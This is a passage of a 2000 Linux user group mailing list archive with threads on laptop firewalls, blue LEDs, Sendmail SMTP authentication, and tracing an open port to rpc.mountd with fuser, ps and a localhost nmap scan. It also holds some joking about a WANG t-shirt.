12:02:49 2000 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:13:33 2005 Subject: [TCLUG] next installfest--<200mb laptop In-Reply-To: <20001211115631.A2881@socrates.sistina.com> Message-ID: On Mon, 11 Dec 2000, Ben Lutgens wrote: > >*firewall* > On a laptop? What are you smoking? actually, one of our clients is really considering laptops for firewalls.. easy to get in/out of the USA without getting charged customs.. heh. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From b.layer at vikingelectronics.com Mon Dec 11 12:04:33 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:33 2005 Subject: [TCLUG] trackballs In-Reply-To: References: Message-ID: <00121112043307.00255@Billbob_Linux> Hey, On Monday 11 December 2000 11:51, you wrote: > Wow. It took science until the 21st century to figure out > how to make a blue LED! I think I'll have to go get me some > to play with. Does Radio Shaft sell them? Actually, I first saw / heard of blue LEDs in the late 1980's. At that time, they yield on the device was so low, that the parts were in the $10/ea range (and this is in 1986 dollars). Somewhere around the middle 90's, the manufacturer's improved the process to the point that they had a reasonable yield, and prices fell a lot. I think you can buy a blue LED for around a dollar now, but I haven't really looked. Most interesting to me are the high-intensity white LEDs, which I've seen at the hamfests in the last years. Blinding output, and none of the service life issues of incandescent lamps. I've also seen white LEDs in the form of extremely bright penlights, that never burn out. Also, LED replacements for standard flashlight bulbs. -- Bill Layer Sales Technician From jethro at freakzilla.com Mon Dec 11 12:06:02 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:33 2005 Subject: [TCLUG] trackballs In-Reply-To: Message-ID: Hi, On Mon, 11 Dec 2000, Jason DeStefano wrote: > Wow. It took science until the 21st century to figure out > how to make a blue LED! I think I'll have to go get me some > to play with. Does Radio Shaft sell them? Actually it took till the late 20th century to make them CHEAPLY (; RadioShock have 'em in their catalog (online anyway). -Yaron -- From cschumann at twp-llc.com Mon Dec 11 12:10:21 2000 From: cschumann at twp-llc.com (Chris Schumann) Date: Mon Jan 17 13:13:33 2005 Subject: [TCLUG] Re: <200MB laptop References: <200012111759.eBBHxAn16824@sprite.real-time.com> Message-ID: <005001c0639d$a2be2700$1000a8c0@cschumann> > Message: 12 > Date: Mon, 11 Dec 2000 11:56:31 -0600 > From: Ben Lutgens > On Mon, Dec 11, 2000 at 11:47:00AM -0600, Nate Carlson wrote: > >On Mon, 11 Dec 2000, Ben Lutgens wrote: > > > >*firewall* > > > On a laptop? What are you smoking? A laptop is a great platform for a firewall. It's a small PC with a tiny power supply with built-in UPS so it won't cost an arm and a leg for electricity if you leave it on all the time. Add a couple 10mbps NIC's and you've got a great firewall. You could probably even get all that on a floppy. (Or an ATA Flash card, but that could take up a NIC slot.) Let's see... 700W (input, not 300W output) for my regular machine, versus 30W for the laptop. So that's 670W * 24hr *365 days makes about 5870kWhr, and at 8.3 cents each, that's almost $500 per year. So this really only makes sense if you already got an old laptop sitting around. Chris From tanner at real-time.com Mon Dec 11 12:10:17 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:33 2005 Subject: [TCLUG] Archives offline Message-ID: <20001211121017.D12915@real-time.com> The mailing list archives are offline. I upgraded to mnogosearch 3.1.8 (new name for udmsearch) and the DB structure has changed. I have to re-index everything. -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From tanner at real-time.com Mon Dec 11 12:09:09 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:33 2005 Subject: [TCLUG] POP/SMTP clients with Sendmail In-Reply-To: <20001211112950.W10695@real-time.com>; from chrome@real-time.com on Mon, Dec 11, 2000 at 11:29:50AM -0600 References: <200012111707.LAA32165@antares.cloudnet.com> <20001211112950.W10695@real-time.com> Message-ID: <20001211120909.C12915@real-time.com> Quoting Carl Wilhelm Soderstrom (chrome@real-time.com): > > The second (bigger) problem is setting up the server so I can use e-mail > > clients such as Netscape or Outhouse. The real trick (I'm sure it's > > turned off by default) is that the people using POP/SMTP clients will be > > all over the internet so I can't filter by IP addresses. I know, I'm > > opening up a very nice SPAM relay but there's no good way around it that I > > can tell. What do I have to do to get Sendmail to accept connections from > > SMTP/POP e-mail clients? > > if you can't restrict the range of IPs, you need to look at setting up some > sort of SMTP authentication. cyrus-sasl is the package we commonly use for > that task here; but I'm hardly an expert on it, and other people would have > to fill you in on the details of setting it up. Grab these RPMs, they have all the stuff you need for authenticated SMTP. http://www.mn-linux.org/members/tanner/ Scan down for RPMS. Get: sendmail sendmail-doc sendmail-cf cyrus-sasl openldap -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From psp at printwareinc.com Mon Dec 11 12:51:06 2000 From: psp at printwareinc.com (Phil Plumbo) Date: Mon Jan 17 13:13:33 2005 Subject: [TCLUG] Re: <200MB laptop Message-ID: <20001211185106268.AAA350@sumo> >Let's see... 700W (input, not 300W output) for my regular machine, >versus 30W for the laptop. So that's 670W * 24hr *365 days makes >about 5870kWhr, and at 8.3 cents each, that's almost $500 per year. > >Chris Those are peak ratings. Actual power usage for typical PC is about 200W, with about 130w of that for the monitor. Phil Plumbo | Printware, Inc. | psp@printwareinc.com | 1270 Eagan Industrial Rd. | voice: 651-456-1400 http://printwareinc.com | St. Paul, MN 55121 USA | fax: 651-454-3684 From blackk100 at hotmail.com Mon Dec 11 13:14:49 2000 From: blackk100 at hotmail.com (Kelly Black) Date: Mon Jan 17 13:13:33 2005 Subject: [TCLUG] next installfest--<200mb laptop Message-ID: How about an older distro. Slack 3.5 or older. You can probably fit that in under 200mb. Kelly Black >From: Nate Carlson >Reply-To: tclug-list@lists.real-time.com >To: >Subject: Re: [TCLUG] next installfest--<200mb laptop >Date: Mon, 11 Dec 2000 12:02:49 -0600 (CST) > >On Mon, 11 Dec 2000, Ben Lutgens wrote: > > >*firewall* > > On a laptop? What are you smoking? > >actually, one of our clients is really considering laptops for firewalls.. >easy to get in/out of the USA without getting charged customs.. heh. > >-- >Nate Carlson | Phone : (952)943-8700 >http://www.real-time.com | Fax : (952)943-8500 > > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list _____________________________________________________________________________________ Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com From destef at destef.com Mon Dec 11 13:19:25 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:13:33 2005 Subject: [TCLUG] Linux VCR In-Reply-To: <20001211120117.C2881@socrates.sistina.com> Message-ID: On Mon, 11 Dec 2000, Ben Lutgens wrote: Whew, for a second there i thought someone was using a DIMM config of 1 256M, 1 8M, and 1 2M. :) > On Mon, Dec 11, 2000 at 11:55:24AM -0600, Kent Schumacher wrote: > >I've got a semi-unused 266Mb Pentium II taking up space, and it would be > >kind of fun to turn it into something like a tivo. > > > Hehe, aren't processors usually measured in MHz? > > Just kidding I know it was a typo. > From andyzb at ltiflex.com Mon Dec 11 13:32:15 2000 From: andyzb at ltiflex.com (Andy Zbikowski) Date: Mon Jan 17 13:13:33 2005 Subject: [TCLUG] POP/SMTP clients with Sendmail References: Message-ID: <3A352BBF.67AA7327@ltiflex.com> > things the "right" way and force users to use their local ISP's SMTP, you > shouldn't need to SMTP relay for pop users, SMTP relay should be done at > their ISP. Yes, but users don't see it that way and bitch to the admins about not being able to send mail through you. You can explain to them up and down why they can't, and that they can simply use the smtp server provided by their ISP, but they'll still bitch and moan. Somedays you just can't win. :) -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From austad at marketwatch.com Mon Dec 11 13:43:52 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:34 2005 Subject: [TCLUG] trackballs Message-ID: I have Radio shack leds. They are $2.99 each. The Radio shack ones are actually the crappiest ones you can buy. I found a site awhile back that did a review on blue leds from several different companies, and radio shack leds were the least brightest, and most sensitive to rough handling. I think the Digikey ones scored highest. If I can find the article, I'll send it out. Jay > -----Original Message----- > From: Yaron [mailto:jethro@freakzilla.com] > Sent: Monday, December 11, 2000 12:06 PM > To: 'tclug-list@lists.real-time.com' > Subject: RE: [TCLUG] trackballs > > > Hi, > > On Mon, 11 Dec 2000, Jason DeStefano wrote: > > > Wow. It took science until the 21st century to figure out > > how to make a blue LED! I think I'll have to go get me some > > to play with. Does Radio Shaft sell them? > > Actually it took till the late 20th century to make them CHEAPLY (; > > RadioShock have 'em in their catalog (online anyway). > > > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From jethro at freakzilla.com Mon Dec 11 14:05:50 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:34 2005 Subject: [TCLUG] trackballs In-Reply-To: Message-ID: Hi, On Mon, 11 Dec 2000, Austad, Jay wrote: > I have Radio shack leds. They are $2.99 each. The Radio shack ones are > actually the crappiest ones you can buy. I found a site awhile back that > did a review on blue leds from several different companies, and radio shack > leds were the least brightest, and most sensitive to rough handling. Yeah, I read that too, and all I have to say about that is if THESE guys are DIM, the bright ones should be able to burn through solid steel. -Yaron -- From bgilbertson at stonel.com Mon Dec 11 14:19:32 2000 From: bgilbertson at stonel.com (Bob Gilbertson) Date: Mon Jan 17 13:13:35 2005 Subject: [TCLUG] Exorcising Netware References: <004d01c05ef6$8cc37780$650aa8c0@cccu.com> <20001205142518.A5893@socrates.sistina.com> Message-ID: <3A3536D4.83EF4700@stonel.com> Ben, Eric, You might try here: http://www.ndsu.nodak.edu/kerDAP/ Bob Ben Lutgens wrote: > > hurderos might be your answer. It's developed at the NDSU. These guys were > here at sistina last week and thier product is really slick. It's like > LDAP,NIS,Acive directory on crack that's open source, and built with kerberos. > > Closest i could find on the web is > http://www.ndsu.nodak.edu/its/depts/servergroup/ which doesn't say anything > about the software but at least it tell you what it offers. It's pretty sweet, > maybe overkill though how many users? > > > >-We want to have a centralized user authentication system. I'm thinking > >-- > >Eric Hillman > >UNIX Sysadmin/Webmaster > >City & County Credit Union > >ehillman@cccu.com > > > >_______________________________________________ > >tclug-list mailing list > >tclug-list@lists.real-time.com > >https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > Sistina Software Inc. work: 612.379.3951 > Code Monkey Support (A.K.A. System Administrator) > Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > > ------------------------------------------------------------------------ > Part 1.2Type: application/pgp-signature From blutgens at sistina.com Mon Dec 11 14:24:42 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:35 2005 Subject: [TCLUG] Exorcising Netware In-Reply-To: <3A3536D4.83EF4700@stonel.com>; from bgilbertson@stonel.com on Mon, Dec 11, 2000 at 02:19:32PM -0600 References: <004d01c05ef6$8cc37780$650aa8c0@cccu.com> <20001205142518.A5893@socrates.sistina.com> <3A3536D4.83EF4700@stonel.com> Message-ID: <20001211142442.D4653@socrates.sistina.com> On Mon, Dec 11, 2000 at 02:19:32PM -0600, Bob Gilbertson wrote: >Ben, Eric, > >You might try here: > >http://www.ndsu.nodak.edu/kerDAP/ kerDAP!! dammit I knew there was a more "official" name. Thanks. Our website gets about 200 hits a day from nodak.edu. > >Bob > >Ben Lutgens wrote: >> >> hurderos might be your answer. It's developed at the NDSU. These guys were >> here at sistina last week and thier product is really slick. It's like >> LDAP,NIS,Acive directory on crack that's open source, and built with kerberos. >> >> Closest i could find on the web is >> http://www.ndsu.nodak.edu/its/depts/servergroup/ which doesn't say anything >> about the software but at least it tell you what it offers. It's pretty sweet, >> maybe overkill though how many users? > >> > >> >-We want to have a centralized user authentication system. I'm thinking >> >-- >> >Eric Hillman >> >UNIX Sysadmin/Webmaster >> >City & County Credit Union >> >ehillman@cccu.com >> > >> >_______________________________________________ >> >tclug-list mailing list >> >tclug-list@lists.real-time.com >> >https://mailman.real-time.com/mailman/listinfo/tclug-list >> >> -- >> Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ >> Sistina Software Inc. work: 612.379.3951 >> Code Monkey Support (A.K.A. System Administrator) >> Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 >> >> ------------------------------------------------------------------------ >> Part 1.2Type: application/pgp-signature >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... 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If that don't convince them, tell them to read the Email-HOWTO and submit a report to you befor ethe next business day. If all else fails consult BOFH handbook on how to deal with whiney lusers. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... 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Machine #1 is an exact, recent (1 day old) copy of machine #2 (except for a few different hardware options in the kernel). Machines #3 and #4 are at work behind a corporate firewall, with no direct inbound access to either machine from the internet. AFAIK, #3 & #4 are unreachable inbound from the internet. All of these machines are very stock - no new services installed, save perhaps SSH on machine #1 & #2. For those of you prone to freaking out, web, ftp & telnet are now disabled on these machines. I now have info from other Slack 7.1 users on the forum, that *their* boxes are also listening on a port in the 6XX range, every one on a different port. At least one of these other boxes is a standalone unit, that has *never* seen a network connection period. When I initially saw this on my machines at home, I thought "sweet, you're rooted dipstick!", but the machines at work should be impossible to root (no internet access, and nobody here but me knows boo about *nix, so rule out an inside job), and the standalone box example also casts doubt on any rooting. When I try to telnet to the mystery listening port, I can connect, but two or three lines of input, and I get disconnected. Never any feedback. I'm pretty much out of ideas on this one. Help, anyone? -- Bill Layer Sales Technician From blutgens at sistina.com Mon Dec 11 14:50:45 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:36 2005 Subject: [TCLUG] What is listening on 6XX ports? In-Reply-To: <0012111442330F.00255@Billbob_Linux>; from b.layer@vikingelectronics.com on Mon, Dec 11, 2000 at 02:42:33PM -0600 References: <0012111442330F.00255@Billbob_Linux> Message-ID: <20001211145045.A5079@socrates.sistina.com> On Mon, Dec 11, 2000 at 02:42:33PM -0600, Bill Layer wrote: > >I'm pretty much out of ideas on this one. Help, anyone? > fuser -n tcp which will give you a pid of a process that's got that port ps uw |grep will tell you what app it is. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001211/732f9ae6/attachment.pgp From b.layer at vikingelectronics.com Mon Dec 11 14:55:29 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:36 2005 Subject: [TCLUG] WANG shirt In-Reply-To: <0012111442330F.00255@Billbob_Linux> References: <0012111442330F.00255@Billbob_Linux> Message-ID: <0012111455290H.00255@Billbob_Linux> You can file this under: humor, geek. I've thought alot about it, and I've decided that I don't want to pass my 32nd birthday without a WANG t-shirt. WANG is essentially out of business, or at least acquired & assimilated by Getronics. I have looked high and low (not much progress looking high :) and can't find anyone to sell me a WANG t-shirt. So: is anyone else aware of the massive humor potential of such an item, and might they be willing to purchase such a shirt, were I to do a bootleg run? I was thinking just a simple 'WANG' in bold white or yellow on a maroon t-shirt; any other suggestions? -- Bill Layer Sales Technician From b.layer at vikingelectronics.com Mon Dec 11 15:11:40 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:36 2005 Subject: [TCLUG] What is listening on 6XX ports? In-Reply-To: <20001211145045.A5079@socrates.sistina.com> References: <0012111442330F.00255@Billbob_Linux> <20001211145045.A5079@socrates.sistina.com> Message-ID: <0012111511400I.00255@Billbob_Linux> You're really a gem, Ben... not at all an idiot like so many said recently ;) On Monday 11 December 2000 14:50, you wrote: > > On Mon, Dec 11, 2000 at 02:42:33PM -0600, Bill Layer wrote: > >I'm pretty much out of ideas on this one. Help, anyone? > > fuser -n tcp > which will give you a pid of a process that's got that port > ps uw |grep > will tell you what app it is. Ok, it's rpc.mountd that has that port-ola. Rpc.mountd is the kernel NFS mount daemon. Slack has NFS setup by default, but I don't get why mountd is using a different port on each machine... In any event: A couple of notes on the technique you described. 1) The fuser command returns *nothing* in this case, unless run as root. When as root, I get: root@Billbob_Linux:~# fuser -n tcp 678 678/tcp: 75 2) the ps -uw | grep (PID) returns this line: root@Billbob_Linux:~# ps uw | grep 75 root 2027 0.0 0.1 1164 412 pts/1 S 14:58 0:00 grep 75 I don't see a process named here, so I just did ps -e | grep 75 and got: root@Billbob_Linux:~# ps -e | grep 75 75 ? 00:00:00 rpc.mountd So I guess that is mystery solved, onto new question of why rpc.mountd is using random ports in the 6XX range. NFS is also using port 2049 on each machine, here is a nmap output: root@Billbob_Linux:~# nmap localhost Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ ) Interesting ports on localhost (127.0.0.1): (The 1505 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 23/tcp open telnet 25/tcp open smtp 37/tcp open time 79/tcp open finger 80/tcp open http 110/tcp open pop-3 111/tcp open sunrpc 113/tcp open auth 143/tcp open imap2 513/tcp open login 514/tcp open shell 515/tcp open printer 587/tcp open submission 678/tcp open unknown 1024/tcp open kdm 2049/tcp open nfs 6000/tcp open X11 Web, telnet, ftp, auth are all active on this machine, as I perceive no threats on this LAN. Correct me if that is bad thinking. Thanks again, Ben. === Bill Layer From blutgens at sistina.com Mon Dec 11 15:21:31 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:36 2005 Subject: [TCLUG] What is listening on 6XX ports? In-Reply-To: <0012111511400I.00255@Billbob_Linux>; from b.layer@vikingelectronics.com on Mon, Dec 11, 2000 at 03:11:40PM -0600 References: <0012111442330F.00255@Billbob_Linux> <20001211145045.A5079@socrates.sistina.com> <0012111511400I.00255@Billbob_Linux> Message-ID: <20001211152131.B5402@socrates.sistina.com> On Mon, Dec 11, 2000 at 03:11:40PM -0600, Bill Layer wrote: >You're really a gem, Ben... not at all an idiot like so many said recently ;) > Actually I think I picked that up from the list, but use it so much now it's second nature. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001211/d6f596a9/attachment.pgp From veldy at veldy.net Mon Dec 11 15:19:35 2000 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:13:36 2005 Subject: [TCLUG] What is listening on 6XX ports? References: <0012111442330F.00255@Billbob_Linux> <20001211145045.A5079@socrates.sistina.com> <0012111511400I.00255@Billbob_Linux> Message-ID: <025d01c063b8$100bb970$9c29680a@tgt.com> That is how RPC stuff works. There is one RPC daemon (sunrpc) that is used to map to the other RPC processes that register with it, thus only one port "has" to be defined, that for sunrpc, the rest will remain dynamic. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Bill Layer" To: Sent: Monday, December 11, 2000 3:11 PM Subject: Re: [TCLUG] What is listening on 6XX ports? > You're really a gem, Ben... not at all an idiot like so many said recently ;) > > On Monday 11 December 2000 14:50, you wrote: > > > > On Mon, Dec 11, 2000 at 02:42:33PM -0600, Bill Layer wrote: > > >I'm pretty much out of ideas on this one. Help, anyone? > > > > fuser -n tcp > > which will give you a pid of a process that's got that port > > ps uw |grep > > will tell you what app it is. > > Ok, it's rpc.mountd that has that port-ola. Rpc.mountd is the kernel NFS > mount daemon. Slack has NFS setup by default, but I don't get why mountd is > using a different port on each machine... In any event: > > A couple of notes on the technique you described. > > 1) The fuser command returns *nothing* in this case, unless run as root. When > as root, I get: > > root@Billbob_Linux:~# fuser -n tcp 678 > 678/tcp: 75 > > 2) the ps -uw | grep (PID) returns this line: > > root@Billbob_Linux:~# ps uw | grep 75 > root 2027 0.0 0.1 1164 412 pts/1 S 14:58 0:00 grep 75 > > I don't see a process named here, so I just did ps -e | grep 75 and got: > > root@Billbob_Linux:~# ps -e | grep 75 > 75 ? 00:00:00 rpc.mountd > > So I guess that is mystery solved, onto new question of why rpc.mountd is > using random ports in the 6XX range. NFS is also using port 2049 on each > machine, here is a nmap output: > > root@Billbob_Linux:~# nmap localhost > > Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ ) > Interesting ports on localhost (127.0.0.1): > (The 1505 ports scanned but not shown below are in state: closed) > Port State Service > 21/tcp open ftp > 23/tcp open telnet > 25/tcp open smtp > 37/tcp open time > 79/tcp open finger > 80/tcp open http > 110/tcp open pop-3 > 111/tcp open sunrpc > 113/tcp open auth > 143/tcp open imap2 > 513/tcp open login > 514/tcp open shell > 515/tcp open printer > 587/tcp open submission > 678/tcp open unknown > 1024/tcp open kdm > 2049/tcp open nfs > 6000/tcp open X11 > > Web, telnet, ftp, auth are all active on this machine, as I perceive no > threats on this LAN. Correct me if that is bad thinking. > > Thanks again, Ben. > > === > Bill Layer > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From blutgens at sistina.com Mon Dec 11 15:20:50 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:36 2005 Subject: [TCLUG] WANG shirt In-Reply-To: <0012111455290H.00255@Billbob_Linux>; from b.layer@vikingelectronics.com on Mon, Dec 11, 2000 at 02:55:29PM -0600 References: <0012111442330F.00255@Billbob_Linux> <0012111455290H.00255@Billbob_Linux> Message-ID: <20001211152049.A5402@socrates.sistina.com> On Mon, Dec 11, 2000 at 02:55:29PM -0600, Bill Layer wrote: >So: is anyone else aware of the massive humor potential of such an item, and >might they be willing to purchase such a shirt, were I to do a bootleg run? Sure. > >I was thinking just a simple 'WANG' in bold white or yellow on a maroon >t-shirt; any other suggestions? > While climbing a few weeks ago, I saw about a 16 year old girl wearing a t-shirt that was bright yellow and in black letters it said "Start a movement" on the front, "Eat a prune" on the back. I almost wet my pants I was laughing so hard. I too would like a nice ?Wang" shirt. I'm in, it's go good with my "WTF!" mug. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... 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You will each receive the beverage of your choice at the next opportunity ;) -- Bill Layer From jamie at floyd.getsetnet.net Mon Dec 11 15:37:23 2000 From: jamie at floyd.getsetnet.net (Jamie Ostrowski) Date: Mon Jan 17 13:13:36 2005 Subject: [TCLUG] WANG shirt In-Reply-To: <0012111455290H.00255@Billbob_Linux> Message-ID: How about: I love to play with my WANG ?? On Mon, 11 Dec 2000, Bill Layer wrote: > You can file this under: humor, geek. > > I've thought alot about it, and I've decided that I don't want to pass my > 32nd birthday without a WANG t-shirt. WANG is essentially out of business, or > at least acquired & assimilated by Getronics. I have looked high and low (not > much progress looking high :) and can't find anyone to sell me a WANG t-shirt. > > So: is anyone else aware of the massive humor potential of such an item, and > might they be willing to purchase such a shirt, were I to do a bootleg run? > > I was thinking just a simple 'WANG' in bold white or yellow on a maroon > t-shirt; any other suggestions? > > From b.layer at vikingelectronics.com Mon Dec 11 15:42:07 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:36 2005 Subject: [TCLUG] WANG shirt In-Reply-To: References: Message-ID: <0012111542070K.00255@Billbob_Linux> On Monday 11 December 2000 15:37, you wrote: > How about: I love to play with my WANG ?? How about: WANG It may be old, but it still works. (eek!) -- Bill Layer From jethro at freakzilla.com Mon Dec 11 15:42:44 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:13:36 2005 Subject: [TCLUG] WANG shirt In-Reply-To: <0012111455290H.00255@Billbob_Linux> Message-ID: Hi, On Mon, 11 Dec 2000, Bill Layer wrote: > You can file this under: humor, geek. I did (; I'd love one that says "WANG Computers", otherwise too many people might think it's funny. -Yaron -- From jacque at fruitioninc.com Mon Dec 11 15:46:14 2000 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:13:36 2005 Subject: [TCLUG] WANG shirt References: <0012111442330F.00255@Billbob_Linux> <0012111455290H.00255@Billbob_Linux> <20001211152049.A5402@socrates.sistina.com> Message-ID: <3A354B26.FDB73919@fruitioninc.com> > > I too would like a nice ?Wang" shirt. I'm in, it's go good with my "WTF!" mug. hehe maybe you'll even meat a girl while wearing your WANG shirt, Ben. sorry couldn't resist! ~j From blutgens at sistina.com Mon Dec 11 16:00:05 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:37 2005 Subject: [TCLUG] WANG shirt In-Reply-To: <0012111542070K.00255@Billbob_Linux>; from b.layer@vikingelectronics.com on Mon, Dec 11, 2000 at 03:42:07PM -0600 References: <0012111542070K.00255@Billbob_Linux> Message-ID: <20001211160005.D5402@socrates.sistina.com> On Mon, Dec 11, 2000 at 03:42:07PM -0600, Bill Layer wrote: > WANG > >It may be old, but it still works. How about, Old, slow, oversized, and runs forever. -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. 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In-Reply-To: <0012111511400I.00255@Billbob_Linux>; from b.layer@vikingelectronics.com on Mon, Dec 11, 2000 at 03:11:40PM -0600 References: <0012111442330F.00255@Billbob_Linux> <20001211145045.A5079@socrates.sistina.com> <0012111511400I.00255@Billbob_Linux> Message-ID: <20001211155830.C5402@socrates.sistina.com> On Mon, Dec 11, 2000 at 03:11:40PM -0600, Bill Layer wrote: >Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ ) >Interesting ports on localhost (127.0.0.1): >(The 1505 ports scanned but not shown below are in state: closed) >23/tcp open telnet Bad admin! BAD! >79/tcp open finger don't need that one. >113/tcp open auth >143/tcp open imap2 >513/tcp open login >514/tcp open shell Don't need these either. >Web, telnet, ftp, auth are all active on this machine, as I perceive no >threats on this LAN. Correct me if that is bad thinking. See above. > >Thanks again, Ben. No problem. You gonna be at the next tclug-beer-meeting? -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001211/dbabe5e3/attachment.pgp From blutgens at sistina.com Mon Dec 11 16:04:46 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:13:37 2005 Subject: [TCLUG] WANG shirt In-Reply-To: <3A354B26.FDB73919@fruitioninc.com>; from jacque@fruitioninc.com on Mon, Dec 11, 2000 at 03:46:14PM -0600 References: <0012111442330F.00255@Billbob_Linux> <0012111455290H.00255@Billbob_Linux> <20001211152049.A5402@socrates.sistina.com> <3A354B26.FDB73919@fruitioninc.com> Message-ID: <20001211160445.F5402@socrates.sistina.com> On Mon, Dec 11, 2000 at 03:46:14PM -0600, Jacqueline Urick wrote: >hehe maybe you'll even meat a girl while wearing your WANG shirt, Ben. Doubt it. Heck I'd even settle for a date :-) >sorry couldn't resist! It's o.k. I bring it on myself. ;-) -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 Make the force be with you. And for god's sake men, be careful. ** Lt.Col. Eaton 3rd Battalion 14th Infantry - Panama Jungle 1991 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not 